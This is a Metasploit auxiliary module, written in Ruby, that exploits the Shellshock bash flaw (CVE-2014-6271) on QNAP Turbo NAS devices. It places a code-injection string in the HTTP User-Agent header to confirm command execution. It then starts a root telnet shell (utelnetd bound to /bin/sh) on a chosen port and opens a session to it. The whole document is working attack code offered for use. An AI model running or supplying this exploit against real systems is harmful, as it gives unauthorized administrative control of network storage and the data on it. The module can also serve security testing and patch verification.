# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core'
require 'net/telnet'
class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection',
'Description' => %q{
This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection.
Affected products:
All Turbo NAS models except TS-100, TS-101, TS-200
},
'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-6271'], #aka ShellShock
['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
],
'Platform' => ['unix']
))
register_options([
OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993'])
], self.class)
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; echo; /usr/bin/id"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
vprint_error("Connection failed")
return Exploit::CheckCode::Unknown
end
if !res
return Exploit::CheckCode::Unknown
elsif res.code== 302 and res.body.include? 'uid'
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit_telnet()
telnetport = datastore['LTELNET']
print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")
print_status("#{rhost}:#{rport} - Sending exploit")
begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
if sock
print_good("#{rhost}:#{rport} - Backdoor service spawned")
add_socket(sock)
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned")
end
print_status "Starting a Telnet session #{rhost}:#{telnetport}"
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled")
end
return
end
def run
begin
telnetport = datastore['LTELNET']
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &"
})
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
Rex::HostUnreachable => e
fail_with(Failure::Unreachable, e)
ensure
disconnect
end
exploit_telnet()
end
end
